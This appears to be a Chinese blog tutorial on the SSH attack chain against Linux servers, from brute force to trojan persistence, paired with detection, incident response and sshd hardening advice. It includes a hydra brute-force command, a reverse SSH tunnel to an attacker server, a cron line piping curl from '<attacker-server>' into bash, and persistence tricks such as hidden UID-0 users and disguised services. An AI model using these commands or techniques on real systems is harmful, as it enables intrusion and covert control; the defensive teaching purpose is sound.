☰
从SSH渗透到木马持久化:Linux服务器攻防实战全解析
2026/10/14 4:34:32 网站建设 项目流程

之前在很多场合聊过“渗透测试”,大家最关心的往往不是那些高大上的漏洞分析,而是“到底怎么一步步打进去”以及“打进去之后怎么稳住”。这也是红蓝对抗里最能拉开差距的部分。我挑了一个非常典型的进攻链路——“SSH渗透 + 木马持久化控制”来作为切入点,完整走一遍实战攻防流程。SSH是Linux服务器最常用的远程管理协议,几乎每一台云主机、物理机都在跑sshd服务,它天然就是攻击者最爱的“第一站”。

这篇文章不是让你去攻击谁,而是希望站在防御方的角度,理解攻击者的思路,知道他们会在什么位置设伏、用什么方式藏身,再反过来把自家服务器的SSH加固和入侵检测做到位。适适合刚入门的安全工程师、运维工程师,以及想搞明白自家Linux服务器是怎么被“偷家”的开发者。

1. 攻防第一课:重新认识SSH这个攻击面

1.1 为什么受害者总是在SSH上摔跟头

先不说复杂的0day漏洞,绝大多数SSH被攻破,原因根本不在“漏洞”上,而在“习惯”上。

我见过很多生产环境的服务器,默认端口22、root账户可登录、密码是几个连续数字或者公司名称加年份。这种配置等于把大门钥匙挂在门口。攻击者根本不需要什么高明技术,拿到一份常见密码字典,跑一遍就能“中奖”。

这里有个经常被忽视的认知:暴力破解不是人工智能式的“科学计算”,它是“概率游戏”。一个攻击者用hydra或者medusa并发跑一千个常见密码,配合正确的用户名(比如root),在目标没有做登录频率限制的情况下,有非常大概率在几小时到几天内命中某个弱密码。如果这台服务器还对外开放了22端口,那相当于每天都在进行一场“抽奖”,只是奖品是你服务器的控制权。

1.2 攻防视角里的SSH攻击面清单

透过攻击者的眼睛来看,SSH攻击面可以拆成四层:

  1. 凭据层:密码强度、密钥是否设置口令(passphrase)、authorized_keys里有没有残留的异常公钥。
  2. 服务配置层:sshd_config里的PermitRootLogin、PasswordAuthentication、AllowUsers、防火墙映射范围。
  3. 协议环境层:ssh客户端是否被替换、是否存在中间人(MITM)攻击风险。
  4. 系统纵深层:拿到SSH控制权后,是否还有sudo提权、定时任务、系统服务等扩展点。

很多运维人员只关注第一、二层就以为安全了,实际上后面两层才是攻击者“站稳脚跟”的关键。

2. 从零复现SSH渗透链路:信息收集、爆破与登录

2.1 信息收集:千万别直接开跑

渗透测试和“乱猜密码”的区别就在于是否做了信息收集。一个合格的攻击者在爆破SSH之前,会先做三件事:

  • 识别目标操作系统版本和OpenSSH版本。可以通过连接时的banner信息直接看到,比如“OpenSSH_7.4p1 Debian”。有了版本号,就能判断是否存在历史已知漏洞。
  • 确认用户名列表。有的企业喜欢开员工姓名拼音作为系统账号,检索GitHub暴露的配置文件、历史泄露数据库,或者直接尝试常见的“admin、root、test、backup、oracle”。
  • 评估目标是否设置了防护。比如尝试连续登录几次,观察是否会封IP、是否有告警、是否切换了端口。

经典里常说“看见的越多,能打的空间越大”。SSH虽然只是一个端口,但它连接着整个Linux系统的身份层和权限层,永远不要跳过信息收集。

2.2 爆破实操与“为什么hydra最常用”

我习惯用hydra来做SSH口令测试,命令大致是这样的:

hydra -l root -P password.txt -t 4 -s 22 ssh://192.168.1.10

有几个参数在实际工作中特别重要:

  • -t 4:并发线程数,别调太高,太高会触发对方的防护规则,可能直接断开连接。
  • -f:找到第一个有效密码后立即停止,节省时间。
  • -o result.txt:保存结果,方便后续复盘。

还有一个细节:字典不是越大越好,而是越“贴合目标”越好。我一般会先做“密码组合分析”,比如目标是一家企业,就把“公司英文名、年份、创始人姓名、产品名、常见数字组合”拼起来生成一份定向字典,命中率远高于通用大字典。

2.3 登录成功后的安全操作习惯

如果你是在做授权渗透测试,拿到SSH权限后要养成几个习惯,否则很容易“打草惊蛇”:

  • 先看last和lastlog,确认自己是不是第一个进入的“访客”。
  • 不要修改系统时间、不要重启服务、不要删除日志(至少别删原始日志),为后续溯源留依据。
  • 记录当前系统的进程快照、网络连接、定时任务,这些是判断这台机器是否已被其他攻击者“光顾”过的重要证据。
  • 单独建立一个隐蔽的会话窗口,保存所有交互记录,方便出报告时还原链路。

渗透测试的本质是“验证风险”,不是“搞破坏”。连上去第一件事应该是证明“我能控制这台机器”,然后立刻撤回到防御视角,思考如何修复问题。

3. 木马控制链路:从持久化到信息回传的完整手法

3.1 为什么SSH本身也需要“持久化”

红队进去之后,最常见的动作就是“留后门”。原因很简单:第一个被攻破的账号可能被管理员发现并禁用,密码可能被修改,IP可能被防火墙封掉。如果不做持久化,就相当于进了一趟房子却没法保证下次还能进来。

SSH层面的持久化有好几种思路,按生存能力从高到低排:

  • 植入SSH公钥到目标用户的authorized_keys文件。这种方法几乎零痕迹,管理员如果只看密码登录日志,根本发现不了。
  • 创建一个隐藏用户,比如在/etc/passwd中把UID改成0,用户名带个特殊字符(例如.sys-update),配合/etc/shadow里的口令配置。
  • 修改sshd启动参数或配置文件,增加一个“备用监听端口”,比如22端口被封了就用2222。
  • 替换或伪装系统服务,比如新增一个看起来像rsyslog或dbus的服务,实际执行的是反弹shell。

3.2 用“反向SSH隧道”做隐蔽控制通道

反向SSH隧道是一种很经典的控制方式,它不需要在目标机器上开放任何入站端口,而是由目标机器主动向外发起连接。基本思路是:在本地攻击机运行一个SSH命令行端,等待目标连接,目标机器执行一条类似的命令:

ssh -R 7788:localhost:22 test@<attacker-server>

这条命令会自动把目标机器的22端口映射到攻击服务器的7788端口。攻击者此时登录到攻击服务器,再执行ssh -p 7788 localhost,就相当于直接登录了目标机器。

这种手法为什么难防?因为目标机器发出的流量是“出站”的,很多企业防火墙只重视入站,忽略了出站流量的审计。而且有些团队为了管理方便,还对SSH这类协议做了白名单,结果正好成了攻击者的“高速公路”。

3.3 更隐蔽的“进程伪装与自启劫持”

现在稍微高级一点的木马,不会像电影里那样弹出一个控制台窗口,而是会在系统里“安妮”地活着:

  • 把后门程序复制到/usr/lib/systemd/system/下,起一个类似systemd-networkd.service的名字。
  • 将二进制文件改名为dbus-daemon或python3,分析者匆匆一看进程列表,很难发现异常。
  • 在定时任务/etc/cron.d/里写入一段每分钟执行一次的脚本,脚本内容在运行时才解码,静态扫描不容易命中。

我见过一个特别典型的例子:攻击者把恶意脚本写入/etc/cron.d/update,每分钟执行一次,脚本内容是/usr/bin/curl http://<attacker-server>/x | bash,执行后立刻删除自身。管理员即使看到了这条定时任务,也只以为是某个自动更新策略,完全不会往后门方向想。

3.4 数据回传:木马不只是为了“拿到控制权”

有些人觉得“木马控制”就是远程敲命令,其实完整的木马控制链路还包括数据回传。

控制服务器和目标机器人之间建立通信信道后,攻击者会采集系统信息、导出密码哈希、抓取配置文件里的数据库凭据、读取业务日志。常见的信息回传方式:

  • 通过HTTP POST请求回传到某个看起来像正常API的接口;
  • 编码后存放在DNS解析记录里,用DNS隧道一点点挤出来;
  • 直接利用目标已有的MySQL、Redis等服务作为中转,把数据藏到业务数据库的某个字段里。

针对这些手段,防御方不仅要在端口层面做监控,更要关注“流量特征”,比如一个服务器每隔几分钟就向某个陌生域名发起DNS查询,这就足够触发告警了。

4. 落地对抗:从日志监测到SSH加固的一整套防线

4.1 日志就是破案现场

SSH入侵后的第一取证对象,一定是日志。不同Linux发行版路径不同,但核心文件就那几个:

  • Debian/Ubuntu家族的/var/log/auth.log
  • RHEL/CentOS家族的/var/log/secure
  • 通用系统的/var/log/journal/里的sshd守护进程日志

优先排查这几个关键信息:

  • 是否有大量来自陌生IP的Failed password记录;是否存在同IP在短时间内高频尝试登录的行为;是否出现过Accepted publickey for root但对应公钥却不认识。
  • 检查/root/.ssh/authorized_keys和/home/*/.ssh/authorized_keys里有没有多出来的公钥。
  • 检查/etc/passwd里有没有UID=0但非root的新用户,以及/etc/shadow中是否有密码字段不为!或*的异常账号。

我把日志检查脚本化,做成一个每天早上自动跑的任务,一旦发现“异动”立刻推送告警。这比人工每天翻日志高效得多,也更容易抓住“潜伏期”的痕迹。

4.2 快速止损操作:发现入侵后的“黄金五分钟”

当检测到SSH可能被攻破,不要慌,按顺序做这几件事:

  1. 先把sshd服务临时断开外网访问,或者在防火墙层封禁可疑IP,避免攻击者“正在进行的会话”继续操作。
  2. 修改被入侵账户的密码。如果root被攻击过,直接禁用root的密码登录方式,改用密钥登录。
  3. 清除不认识的公钥和新增的定时任务,提取后门样本备份用于分析。
  4. 用lsof -i查看所有对外连接,确认是否存在反向Shell和外部回连。
  5. 重心放在“判断数据泄露面”,检查是否有文件被批量下载、是否有加密勒索痕迹、是否有数据库被导出的行为。

有的团队在“黄金五分钟”里花最多时间去删除恶意文件,却没有先切断连接和修改凭据,结果攻击者早就通过另一个通道再次进来了。印象里止损的顺序应该永远是:断连接 > 改凭据 > 清理后门 > 备份取证。

4.3 一套SSH加固的实战配置模板

想要从源头降低SSH被攻破的概率,我推荐的生产环境基础配置大致是这样的(/etc/ssh/sshd_config关键项):

Port 5522 PermitRootLogin no PubkeyAuthentication yes PasswordAuthentication no ChallengeResponseAuthentication no UsePAM no AllowUsers ops admin AllowGroups ssh-allowed MaxAuthTries 3 LoginGraceTime 30 ClientAliveInterval 300 ClientAliveCountMax 2 X11Forwarding no

单独解释几个容易被误解的配置:

  • Port 5522:改端口不是“隐蔽性很强的安全手段”,但能过滤掉一大批自动扫描器。真正的核心安全能力还得靠认证机制本身。
  • PasswordAuthentication no:关闭密码登录,只允许公钥登录。这是售后我强烈推荐的一步,能从机制上消灭“弱密码爆破”这条路。
  • AllowUsers:和防火墙的“只允许指定IP访问”配合使用,好过单纯依赖安全组。
  • MaxAuthTries 3:限制单次连接内认证失败次数,能极大减缓爆破效率。

当然,仅仅改配置文件还不够,还要重启sshd服务后重新开一个新的SSH会话测试,确认不会把自己锁在门外。

4.4 给服务器装上“监控摄像头”:基于文件与进程的主动防御

加固只是“减少暴露面”,无法做到“绝对安全”。更像在实际工作中依赖的是主动监控。

我常用的两个工具思路:

  • 文件完整性监控:用auditd或inotifywait监控/etc/ssh/sshd_config、/etc/passwd、/etc/shadow、/root/.ssh/authorized_keys。一旦这些文件发生写入,立刻告警。攻击者植入SSH公钥这个动作,必然会引起authorized_keys文件变更。
  • 进程监控:写一个简单的脚本,每5分钟扫描一次系统里的监听端口和TCP连接,把“非常规端口”“异常连接目标IP”记录到独立日志。

模拟环境下我见过一个非常漂亮的防御案例:某管理员在/etc/sshrc(SSH登录时执行的脚本)里加入了“每一笔登录都推送企业微信告警”。攻击者用爆破拿到的密码登录后,管理员手机上立刻收到了一条“root从某IP登录”的消息,接着整个应急响应流程就启动了。这个成本极低,但效果立竿见影。

5. 常见问题与排查技巧实录

5.1 登录后执行命令总是被断开,是不是被发现了

有段时间我演练时遇到过:SSH能登录,但一执行稍复杂的命令就立刻断开,连接中断的同时sshd服务还会重启。

排查后发现,这是因为目标系统开启了pam_access或sshd的Match Group限制,攻击者所在的账户或IP并不符合继续操作的授权条件。系统检测到“越权”后,主动踢掉了这个会话。

这类情况说明目标系统已经有了一定程度的纵深防御,比如“登录后校验源IP归属地”或“仅允许特定时间段操作”。面对这种情况,需要退回信息收集阶段,重新评估当前掌握凭据的有效性与权限边界。

5.2 authorized_keys里多出的公钥,是咋进来的

如果你在服务器上看到一个不认识的公钥,先别急着删除,按顺序取证:

  • 用stat查看这个文件的时间戳,确认公钥是何时写入的。
  • 用journalctl -u ssh或auth.log定位那个时间点前后的登录IP、登录方式。
  • 检查是否有其他用户对/root/.ssh目录有写权限。
  • 确认是否是某个自动化工具(比如CI/CD发布脚本)写入的正确运维公钥。

我遇过一次特别迷惑的情况:服务器上的公钥看起来每个都正常,但其中一个公钥的“comment”字段写着别人的邮箱。这种细节很容易在人工检查时被忽略,但恰恰是判断入侵的重要线索。

5.3 定时任务木马清完又出现,怎么断根

木马杀不干净的原因只有两个:一是没找到母体,二是没找到触发源。

很多新手只删掉了/etc/cron.d/里的恶意脚本,却没注意到攻击者可能在/var/spool/cron/里给root装了持久任务,或者利用了systemd.timer来定时拉起后门进程。清完一个点,没多久另一边又生成了一份一模一样的恶意文件。

处理这类情况,我的经验是“先全盘快照,再逐层排查启动链路”。把/etc/systemd/system、/etc/init.d、/var/spool/cron、/etc/cron*、/etc/profile.d全部过一遍,同时检查LD_PRELOAD和/etc/ld.so.preload,防止被注入动态库级别的后门。

5.4 有没有办法在不安装额外软件的前提下增强SSH安全性

有些跳板机、老旧生产服务器不允许随便装安全软件,这时可以用“最小改造”方案:

  • 在/etc/security/access.conf里限定SSH登录的源IP范围。
  • 使用pam_tally2或pam_faillock限制失败登录次数,达到次数后锁定账户一段时间。
  • 在/etc/profile.d/下写一个简单的登录提醒脚本,记录登录时间、IP、TTY信息。
  • 利用SSH的ForceCommand指令,限制某些用户登录后只能执行特定命令。

这些手段全部基于系统自带组件,不依赖第三方安装包,在合规检查和成本敏感的场景里很实用。

5.5 攻防对抗里最毁人的错误认知

接触不少做安全的朋友之后,我发现有一个认知错误特别普遍:以为“我关掉了密码登录,只用密钥,就绝对安全了”。

真实攻防里,密钥文件泄露、私钥未设置口令、开发环境把.pem文件传到代码仓库、员工离职后私钥没回收……这些全是密钥体系的破绽。密钥和密码一样,同样需要生命周期管理。好的做法是:

  • 私钥一律设置口令加密;
  • 定期轮换密钥对;
  • 禁止私钥在服务器上明文保存;
  • 在登录侧加上二次认证(MFA)或跳板机统一管控。

从防御角度讲,不要把宝全押在某一种认证方式上,“密钥 + 二次认证 + IP白名单 + 异常登录告警”叠加起来,才是SSH防护的正常水位。

就我个人操作体会而言,SSH攻防这件事最有趣的地方在于:攻击者每秀一种“隐蔽技巧”,防御者就会在日志、进程、流量里找到一种新痕迹。真正有价值的能力,不是记多少工具命令,而是建立“对异常敏感”的职业习惯。多看几遍auth.log和系统进程快照,比背一百条exp都管用。这套从SSH渗透到木马控制的链路,其最终目的不是“教会谁去攻击”,而是让防守方在真实服务器上看到敌人留下的每一个脚印,在最短的时间内做出止损与溯源。希望这篇内容能给你们在自己的Linux生产环境里做安全建设时,提供一些实实在在的参考。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询